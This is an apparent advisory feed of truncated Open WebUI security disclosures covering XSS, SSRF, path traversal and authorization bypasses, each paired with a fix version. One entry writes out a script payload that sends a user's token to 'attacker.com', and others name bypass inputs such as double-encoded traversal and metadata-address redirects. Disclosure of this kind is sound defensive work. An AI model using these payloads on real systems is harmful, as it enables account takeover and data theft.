Open actionable advisories and recorded vendor fixes. This public package view has no inventory attached and cannot establish whether your deployment is affected. A vendor fix never resolves your finding; verify your installed version and the source guidance.
Open advisories
145 actionable advisories, newest first. Withdrawn advisories and news are excluded. Coverage is partial.
Title: Scheduled automations continue after pending-user deactivation and stored model ACL revocation Summary Open WebUI documents pending as a zero-access role used for new sign-ups and deactivated users, and normal HTTP routes enforce that with getverifieduser() (which rejects pending), while automation create/update/run routes additionally require the features.automations permission. Two paths missed that lifecycle gate, so a deactivated (pending) account could keep acting through the background automation scheduler: 1. Scheduler did not re-gate the owner. When a stored automation became due, executeautomation() rehydrated the owner with Users.getuserbyid(...) and re-entered the chat completion pipeline without re-checking that the owner was still user/admin or still held features.automations. A still-active automation therefore kept running after its owner was deactivated. 2. Model ACL only enforced for exact role user. checkmodelaccess() applied private-model grants only when…
Recommended action: Upgrade to 0.10.0 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
The /api/v1/auths/signin endpoint leaked whether an email address belonged to a registered account through a response-time side channel. Password verification ran bcrypt only when the email was found in the database; for a non-existent email the request returned early without hashing. The expensive bcrypt comparison therefore made valid-account attempts respond significantly slower (~180 ms) than non-existent ones (~5 ms), so an unauthenticated attacker could enumerate valid accounts by measuring response time. Details On signin the backend looked the user up by email and only performed the bcrypt password comparison if a record existed. A missing email short-circuited before any hashing, producing the timing gap. The built-in brute-force throttling did not prevent it: sending one request at a time with a small delay between requests stays under the rate limit while still exposing the difference. Observed in the reporter's run (HTTP 400 for every attempt, the response time is…
Recommended action: Upgrade to 0.10.0 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Title: Same-origin Pyodide code execution allows server-side RCE via a shared chat Summary Open WebUI runs client-side Python (Pyodide) in a same-origin web worker. Through Pyodide's JavaScript API (pyodide.http.pyfetch, or the js module which exposes the page's fetch / XMLHttpRequest) executed Python can issue requests on the application origin, and those requests carry the victim's session cookie. A low-privileged user can store such a payload in a chat message, share the chat, and when a victim opens it and clicks Run the payload executes authenticated same-origin requests as the victim. When the victim is an admin (or a user holding workspace.functions / workspace.tools permissions) the payload creates a Function/Tool whose body runs server-side, yielding remote code execution. Details Pyodide's js bridge gives Python in the worker the same reach as inline JavaScript on the origin, and the worker is same-origin, so a credentialed request to the app's own API is authenticated as…
Recommended action: Upgrade to 0.10.0 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Manually modifying chat history allows setting the embeds property on a response message, the content of which is loaded into an iFrame with a sandbox that has allow-scripts and allow-same-origin set, ignoring the "iframe Sandbox Allow Same Origin" configuration. This enables stored XSS on the affected chat. This also triggers when the chat is in the shared format. The result is a shareable link containing the payload that can be distributed to any other users on the instance. Details The flaw stems from how iFrames are constructed here: https://github.com/open-webui/open-webui/blob/6f1486ffd0cb288d0e21f41845361924e0d742b3/src/lib/components/chat/Messages/ResponseMessage.svelte#L689-L703 messages.embeds is a user controlled property and so can be arbitrarily set by the user to a payload of their choosing. Since allowScripts and allowSameOrigin are harcoded as true here the sandboxing offers essentially no protection. PoC Create an arbitrary chat: <img width="2468"…
Recommended action: Upgrade to 0.6.44 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Manually modifying chat history allows setting the html property within document metadata. This causes the frontend to enter a code path that treats document contents as HTML, and render them in an iFrame when the citation is previewed. This allows stored XSS via a weaponised document payload in a chat. The payload also executes when the citation is viewed on a shared chat. Details The vulnerability stems from how iFrame are implemented here: https://github.com/open-webui/open-webui/blob/6f1486ffd0cb288d0e21f41845361924e0d742b3/src/lib/components/chat/Messages/Citations/CitationModal.svelte#L163-L170 The html attribute can be controlled by a user who manually edits the chat history. Since allow-scripts and allow-same-origin are harcoded here the sandboxing offers essentially no protection. PoC Create an arbitrary chat with a file upload attached: <img width="2462" height="1148" alt="image" src="https://github.com/user-attachments/assets/fad83c74-036d-41b8-bc44-87bf2a538b21" /…
Recommended action: Upgrade to 0.7.0 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
A vulnerability in the way certain html tags in chat messages are rendered allows attackers to inject JavaScript code into a chat transcript. The JavaScript code will be executed in the user's browser every time that chat transcript is opened, allowing attackers to retrieve the user's access token and gain full control over their account. Chat transcripts can be shared with other users in the same server, or with the whole open-webui community if "Enable Community Sharing" is enabled in the admin panel. If this exploit is used against an admin user, it is possible to achieve Remote Code Execution on the server where the open-webui backend is hosed. This can be done by creating a new function which contains maliicious python code. This vulnerability also affects chat transcripts uploaded to https://openwebui.com/c/<user/<chatid, allowing for wormable stored XSS in https://openwebui.com Details Stored XSS The file…
Recommended action: Upgrade to 0.6.6 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Low privileged users can upload HTML files which contain JavaScript code via the /api/v1/files/ backend endpoint. This endpoint returns a file id, which can be used to open the file in the browser and trigger the JavaScript code in the user's browser. Under the default settings, files uploaded by low-privileged users can only be viewed by admins or themselves, limiting the impact of this vulnerability. Details The following HTTP request can be sent to the backend server to upload a file with the contents: <scriptfetch("https://attacker.com/?token=" + localStorage.getItem("token"))</script Note the filename="test.html" , Content-Type: text/html, and <h1padding</h in the request's body. These are important because some form of sanitization or filtering was observed which caused errors when uploading an html file that only conained a <script tag. The backend server responds to the above request with JSON data that contains an id parameter. This ID can be used to view the…
Recommended action: Upgrade to 0.6.6 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
The ydoc:document:join Socket.IO handler checks note ownership only when the documentid starts with note: (colon). However, the YdocManager storage layer normalizes all document IDs by replacing colons with underscores (documentid.replace(":", "")). An attacker can join a document room using note<id (underscore) instead of note:<id (colon), bypassing the authorization check entirely while accessing the same underlying Yjs document. The server then returns the full document state, leaking the victim's private note contents. Details The ydoc:document:join handler in socket/main.py (line 511) only performs authorization for document IDs matching the note: prefix: The YdocManager class in socket/utils.py normalizes document IDs in every method by replacing colons with underscores: This means note:abc123 and noteabc123 resolve to the same storage key (noteabc123). When a victim opens their note, the Yjs document is stored under the normalized key. An attacker can then request the…
Recommended action: Upgrade to 0.8.11 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Several direct, index-addressed Ollama proxy routes accept a caller-supplied urlidx path parameter and use it as a raw index into the admin-configured OLLAMABASEURLS list. Access control on these routes validates only whether the user may use the requested model, never which backend the request is routed to. Any authenticated user can append an arbitrary urlidx to force their request onto an Ollama backend they were never authorized to reach, including internal, higher-privilege, or explicitly admin-disabled backends. Affected endpoints All indexed Ollama routes that resolve the backend through getollamaurl(): Root cause backend/openwebui/routers/ollama.py — getollamaurl() consults the model-to-backend allow-list (OLLAMAMODELS[model]["urls"]) only when urlidx is omitted. When the caller supplies urlidx, that mapping is skipped and the value is used directly as an index: The outbound request is then sent to that backend using the backend's own configured API key. Backends an…
Recommended action: Upgrade to 0.9.6 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
RAG ACL Bypass in Milvus Multitenancy Mode Summary This is a bypass of the fix for: - GHSA-h36f-rqpx-j5wx - CVE-2026-44560 - "Unauthorized File and Knowledge Base Content Access via RAG Vector Search" Open WebUI added collection-level ACL checks, but the patch can still be bypassed when Milvus multitenancy mode is enabled. The ACL allows unknown non-KB collection names as legacy/ephemeral collections. In Milvus multitenancy mode, that user-controlled collection name becomes a resourceid and is interpolated into a Milvus expression without escaping. An authenticated non-admin user can query: This passes the Open WebUI ACL as an unknown collection, but Milvus evaluates: That returns private knowledge-base chunks belonging to other users. Affected Configuration Tested on: This is not a default-vector-store issue. It affects production deployments using Milvus multitenancy. Impact An authenticated low-privilege user can read private RAG / knowledge-base content they do not have access…
Recommended action: Upgrade to 0.9.6 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
The SafePlaywrightURLLoader implements a validateurl function to prevent SSRF attacks by checking the IP address of the user-provided URL. However, this validation is performed only on the initial URL. Since Playwright automatically follows HTTP redirects (301/302) by default, an attacker can bypass the validation by providing a safe URL that redirects to a restricted internal network address (e.g., localhost, Docker container network, or Cloud Metadata). This allows the application to access internal services despite ENABLERAGLOCALWEBFETCH being set to False Details Root Cause The application validates the initial user-provided URL using self.safeprocessurlsync(url). This correctly resolves the domain and ensures it does not point to a private IP. The application then calls page.goto(url). By default, Playwright automatically follows HTTP redirects (301/302). The Bypass: If the destination server returns a redirect to an internal IP (e.g., 127.0.0.1 or 169.254.169.254), the…
Recommended action: Upgrade to 0.9.6 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
The terminal-server reverse proxy in backend/openwebui/routers/terminals.py does not fully confine the user-controlled path segment before forwarding it to an admin-configured terminal server. An authenticated user who has been granted access to a terminal server can craft path values containing encoded ../ traversal sequences that escape the intended path (or policy) scope on that server, reaching unintended endpoints and files on the terminal-server host. Where the terminal server fans requests out to internal services, this also gives SSRF-style reach into those services. This is a separate code path from the /api/v1/retrieval/process/web SSRF (GHSA-c6xv-rcvw-v685), with its own input. Two distinct vectors are consolidated here: 1. Raw path forwarding / single-encoded traversal (original report). 2. A bypass of the subsequently-added sanitizeproxypath mitigation using double-encoded dots (%252e%252e). The attacker-controlled input is the request path, supplied by the…
Recommended action: Upgrade to 0.9.6 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Open WebUI has a Broken Object Level Authorization (BOLA) vulnerability in the builtin searchknowledgefiles tool. When native function calling is enabled and the selected model has no attached knowledge bases, an authenticated user can call searchknowledgefiles with an arbitrary knowledgeid. The function then returns file metadata from that knowledge base without checking whether the user has read access. This allows unauthorized enumeration of private or restricted knowledge base files. Details The vulnerable code is in: backend/openwebui/tools/builtin.py Affected function: In the "No attached knowledge" branch, when knowledgeid is provided, the function directly calls: This code path does not verify that the current user is authorized to access the specified knowledge base. The missing check is inconsistent with other nearby code paths. For example, the attached-knowledge branch in the same function checks whether the user is an admin, the owner of the knowledge base, or…
Recommended action: Upgrade to 0.9.6 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Open WebUI's prompt version-history endpoints authorize the promptid in the URL but then act on caller-supplied history IDs without verifying that the history row belongs to that prompt (historyentry.promptid == prompt.id). Three operations are affected: - GET /api/v1/prompts/id/{promptid}/history/diff — returns another prompt's history snapshots (read). - POST /api/v1/prompts/id/{promptid}/update/version — restores another prompt's snapshot into the caller's prompt, exposing its content (read). - DELETE /api/v1/prompts/id/{promptid}/history/{historyid} — deletes another prompt's history entry (delete). An authenticated user with access to any prompt they control, plus a victim prompthistory.id, can read or delete another user's private prompt history. The single-entry read endpoint (GET .../history/{historyid}) already enforces the binding; these three did not. Impact Security boundary crossed: prompt confidentiality and integrity. Prompt history snapshots can contain…
Recommended action: Upgrade to 0.9.6 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
A path traversal vulnerability exists in open-webui's cache file serving endpoint that allows any authenticated user to read files from sibling directories outside the intended cache directory, by exploiting an incomplete startswith containment check that lacks a trailing path separator. The root cause is that servecachefile() in openwebui/main.py validates the resolved path with filepath.startswith(os.path.abspath(CACHEDIR)) — without appending os.sep. This allows any path resolving to a sibling directory whose name begins with cache (e.g. cachesibling, cachebackup, cachedmodels) to pass validation. Deep traversal and absolute paths are correctly blocked. The bypass is narrow but confirmed — limited to sibling-prefix directories. Exploitation constraints | Constraint | Detail | |---|---| | Auth required | getverifieduser — any user with role user or admin | | Scope | Only sibling directories starting with cache (e.g. cachebackup, cachedmodels) | | Deep traversal | Blocked —…
Recommended action: Upgrade to 0.9.6 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Stored XSS to Account Takeover via Model Profile Images in Open WebUI Affected: Open WebUI <= 0.9.5 Bypass of: GHSA-3wgj-c2hg-vm6q, GHSA-3856-3vxq-m6fc --- TL;DR Open WebUI patched SVG XSS in user profile images and webhook profile images but forgot to apply the same fix to model profile images. The ModelMeta class has no validateprofileimageurl field validator, and the model image serving endpoint has no MIME allowlist or nosniff header. Any authenticated user with workspace.models permission (enabled by default) can store a data:image/svg+xml;base64,... payload in a model's profile image and achieve full account takeover of anyone who navigates to the image URL. --- Past of the issue In early 2025, two security advisories landed for Open WebUI: - GHSA-3wgj-c2hg-vm6q SVG XSS via user profile images - GHSA-3856-3vxq-m6fc SVG XSS via webhook profile images The patches were clean. A validateprofileimageurl function was introduced in backend/openwebui/utils/validate.py a compiled regex…
Recommended action: Upgrade to 0.9.6 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Open WebUI lets a user who can create, update, or import workspace models store arbitrary meta.knowledge entries on their model without checking whether they own or can read the referenced files. Open WebUI then treats meta.knowledge entries of type file as an authorization source in two places: the built-in viewfile tool reads the file's extracted text, and hasaccesstofile()'s model branch authorizes the file content and file delete endpoints. A malicious model owner can therefore attach another user's file ID to their model metadata and read or delete that private file. Impact Security boundary crossed: file confidentiality and integrity. An authenticated attacker needs the workspace.models or workspace.modelsimport permission (or write access to an existing model) and a victim file ID. With those, for a file they do not own and cannot otherwise read, the attacker can: - read the file's extracted text (up to 100000 characters per viewfile call from file.data.content), -…
Recommended action: Upgrade to 0.9.6 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Open WebUI renders Mermaid blocks from Markdown files in the file preview panel and inserts the generated SVG into the DOM using innerHTML. Because Mermaid is configured with securityLevel: 'loose', attacker-controlled Mermaid content can be rendered unsafely in this flow. A working payload was validated through the Markdown preview path, resulting in JavaScript execution in the victim’s browser under the application origin. This is a confirmed stored XSS vulnerability reachable through normal product functionality. Affected Version - main - Reproduced on v0.8.12 Affected Code Mermaid is initialized in permissive mode: https://github.com/open-webui/open-webui/blob/9bd84258d09eefe7bf975878fb0e31a5dadfe0f8/src/lib/utils/index.ts#L1698 The file preview path renders Mermaid output and injects the returned SVG into the DOM: https://github.com/open-webui/open-webui/blob/9bd84258d09eefe7bf975878fb0e31a5dadfe0f8/src/lib/components/chat/FileNav/FilePreview.svelte#L133 Impact A…
Recommended action: Upgrade to 0.9.6 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Open WebUI v0.9.5 lets an authenticated user attach arbitrary fileid values to their own chat message without checking whether they own or can read those files. If the attacker then shares that chat and grants themselves read access, hasaccesstofile() treats the victim file as accessible through the shared chat, and the file endpoints read or delete the victim file. Impact Security boundary crossed: file confidentiality and integrity. An authenticated attacker who knows or obtains a victim fileid can make Open WebUI authorize, through an attacker-owned shared chat: - reading the victim file via GET /api/v1/files/{id}/content, and - deleting the victim file via DELETE /api/v1/files/{id}. Root Cause Client-controlled message file IDs are persisted without file authorization checks: insertchatfiles() stores the provided IDs directly: Later, file authorization trusts shared-chat associations: The download endpoint uses this helper: On affected versions this shared-chat branch is…
Recommended action: Upgrade to 0.9.6 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
POST /api/chat/completions accepts an imageurl.url value that, when it does NOT start with http://, https://, or data:image/, is interpreted as a file id and resolved against the global file table with no ownership check. An authenticated user can therefore set imageurl.url to another user's file id, the server reads that file from disk, base64-encodes it, and injects the data URI into the LLM request. The user then prompts the LLM to describe / OCR the file and reads the content back. Same class as CVE-2026-44560 (RAG cross-user access) and the multiple hasaccesstofile checks added in routers/files.py -- the auth boundary was tightened on the file router but not on this conversion path. affected code backend/openwebui/utils/middleware.py:2113-2150 -- converturlimagestobase64: called from the main chat completion middleware at middleware.py:2357: backend/openwebui/utils/files.py:57-95 -- getimagebase64fromurl: Files.getfilebyid in models/files.py:161 does a bare db.get(File,…
Recommended action: Upgrade to 0.9.6 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
backend/openwebui/utils/oauth.py::processpictureurl (v0.9.5, lines 1435-1470) calls validateurl(pictureurl) on the initial URL only, then invokes aiohttp.ClientSession.get(pictureurl, ...) without allowredirects=False. aiohttp's default is allowredirects=True, maxredirects=10; the function does not pass the project's AIOHTTPCLIENTALLOWREDIRECTS env constant either. An attacker with a valid OAuth IdP identity can therefore submit a public URL that 302-redirects to an internal address and read the internal response body via the attacker's own profileimageurl field. This is the same redirect-bypass class as CVE-2026-45401 (GHSA-rh5x-h6pp-cjj6), on a 6th call site that the v0.9.5 patch missed. CVE-2026-45401's advisory body enumerates exactly five affected paths — SafeWebBaseLoader.scrape, fetch, getcontentfromurl, loadurlimage, getimagebase64fromurl — none in utils/oauth.py. Vulnerable code (v0.9.5) backend/openwebui/utils/oauth.py, lines 1435-1470: The function is invoked…
Recommended action: Upgrade to 0.9.6 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
The chat message listener allows non-same-origin input:prompt and action:submit messages, so an external site can set prompt text and trigger submitPrompt() in an authenticated victim session. I validated this with a cross-origin attacker page that auto-posted messages and caused unauthorized POST /api/v1/chats/new and POST /api/chat/completions requests containing attacker-controlled prompts. This enables cross-site forced actions and model/tool execution under victim privileges without consent. Details The chat page's window message listener in src/lib/components/chat/Chat.svelte processes message types including input:prompt and action:submit without adequately enforcing same-origin restrictions. Based on code around lines ~597-616, input text is set directly from event.data.text; action:submit proceeds to submitPrompt() on the current prompt. The logic does not apply a strict origin allowlist and permits non-same-origin control of the chat input and submission flow,…
Recommended action: Upgrade to 0.9.6 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
POST /api/v1/calendars/events/{eventid}/update validates that the caller has write access to the calendar the event currently belongs to, but does not validate the destination calendarid supplied in the request body. The model layer then persists the new calendarid unconditionally. A regular user-role account can therefore create an event in their own calendar and immediately move it into any other user's calendar whose ID they know — bypassing the authorization check that createevent correctly performs. This is reachable on default configuration: ENABLECALENDAR and USERPERMISSIONSFEATURESCALENDAR both default to True. Details Sink — missing destination check backend/openwebui/routers/calendar.py:283-297 backend/openwebui/models/calendar.py:658-693 (updateeventbyid) Reference — createevent does check the destination backend/openwebui/routers/calendar.py:255 Default-config gates (both True) - backend/openwebui/config.py:1658-1662 — ENABLECALENDAR defaults 'True' -…
Recommended action: Upgrade to 0.9.6 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
The LDAP and OAuth authentication flows use a TOCTOU (Time-of-Check-Time-of-Use) pattern for first-user admin role assignment. The regular signup handler (signuphandler in auths.py, line 663) was explicitly patched to prevent this race with the comment "Insert with default role first to avoid TOCTOU race", but the LDAP and OAuth code paths were never updated with the same fix. Vulnerable Code LDAP (auths.py, lines 479-490) OAuth (oauth.py, lines 1103-1112, 1566-1574) Both paths determine the role BEFORE inserting the user, creating a race window where multiple concurrent requests on a fresh instance can all observe an empty database and all receive the admin role. Comparison with Patched Signup The signuphandler (auths.py, line 663) was explicitly fixed: The LDAP and OAuth paths did NOT receive this fix. Exploitation 1. Deploy Open WebUI with LDAP or OAuth enabled on a fresh instance (no existing users) 2. Send multiple concurrent authentication requests from different users…
Recommended action: Upgrade to 0.9.0 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
The /api/v1/utils/code/execute endpoint executes arbitrary Python code via Jupyter for any verified user, even when the admin has set ENABLECODEEXECUTION=false. The feature gate is not enforced on the API endpoint — the configuration says "disabled" but code still executes. Details The admin configuration correctly shows ENABLECODEEXECUTION: false. However, the code execution endpoint does not check this flag before forwarding Python code to the Jupyter server. Any authenticated user can execute arbitrary code in the Jupyter container. PoC Verified against Open WebUI v0.8.11 (latest) Docker on 2026-03-25. Setup: Jupyter server connected, ENABLECODEEXECUTION=false confirmed in admin config. Verified output: The PoC read the internal secret service content via Jupyter — despite ENABLECODEEXECUTION=false. The Jupyter container has network access to internal services, making this both a code execution bypass and an SSRF vector. Impact Any authenticated user can execute arbitrary…
Recommended action: Upgrade to 0.8.12 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.